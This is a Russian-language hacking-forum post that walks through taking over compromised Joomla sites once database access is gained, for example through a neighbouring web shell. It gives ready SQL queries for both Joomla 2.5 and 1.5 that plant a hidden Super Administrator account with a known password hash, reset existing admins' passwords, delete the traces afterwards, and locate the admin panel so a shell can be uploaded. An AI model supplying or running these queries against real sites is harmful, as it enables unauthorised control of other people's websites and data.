Регистрация: 06.09.2014
Сообщений: 64
|
Касаемо Joomla =)
Иногда можно прочитать конфиги и приконектиться к БД, например, шелл по соседству и т.д.
Мы можем создать нового админа, а также сбросить пасс старого.
Чтоб создать админа в ветке >= 2.5
SELECT id from jos_users; -> смотрим свободный ID
Запрос на добавление
INSERT INTO jos_users(id,name,username,email,password,usertype ,block,sendEmail,registerDate,lastvisitDate,activa tion,params,lastResetTime,resetCount) VALUES ('728', 'blade', 'blade', 'blade@mailforspam.com','531b5f50f082c59730b3bf7f9 c457129:GA8lZqlJVZQbD8GYFGltJGNNIvjmcRcT', 'Super Administrator', '0', '1', '', '', '', '', '', '0');
Наш хеш
531b5f50f082c59730b3bf7f9c457129:GA8lZqlJVZQbD8GYF GltJGNNIvjmcRcT => 123 это наш пароль
Добавляем в групу админов
INSERT INTO jos_user_usergroup_map values (728,8);
Если нужно удалить, то вот запросы
DELETE FROM jos_user_usergroup_map where user_id=728;
DELETE FROM jos_users where id=728;
Теперь расмотрим как создать админа Joomla ветки 1.5, пишу без объяснений тут уже
SELECT id from jos_users;
INSERT INTO jos_users(id,name,username,email,password,usertype ,block,sendEmail,gid) values(100,'newadmin','admin','123@example.com','5 31b5f50f082c59730b3bf7f9c457129:GA8lZqlJVZQbD8GYFG ltJGNNIvjmcRcT','Super Administrator',0,1,25);
'531b5f50f082c59730b3bf7f9c457129:GA8lZqlJVZQbD8GY FGltJGNNIvjmcRcT = 123
INSERT INTO jos_core_acl_aro VALUES (100,'users','100',0,'Administrator',0);
INSERT INTO jos_core_acl_groups_aro_map VALUES (25,'',100);
DELETE FROM jos_core_acl_groups_aro_map where aro_id=100;
DELETE from jos_core_acl_aro where id=100;
DELETE from jos_users where id=100;
Или можно сменить пасс и усе )
UPDATE `main_users` SET `password`= md5('123') WHERE `id`=837;
UPDATE `main_users` SET `password`= 'e2cd990b203805ca53fb765e34e8f79a:rPU13Eip5jxRj65s sgE1edHW9CGOU5Kq' WHERE `id`=837;
Значит, у нас есть администратор, но зачастую мы не можем попасть в админку, так как не знаем URL сайта.
Иногда нам и необязательно и сама админчасть, бывают случаи, что можно залиться с фронтенда, главное залогиниться з правами и поиследовать си-му.
Как узнать URL сайта на Joomla?
Переменная $live_site в configuration.php в корне(обычно пустая, но при переезде на новый домен и т.д объявляют)
колонки old_url, referer в jos_redirect_links
конфиги веб-сервера
reverse ip lookup
Последний раз редактировалось omen666; 08.11.2014 в 14:46..
|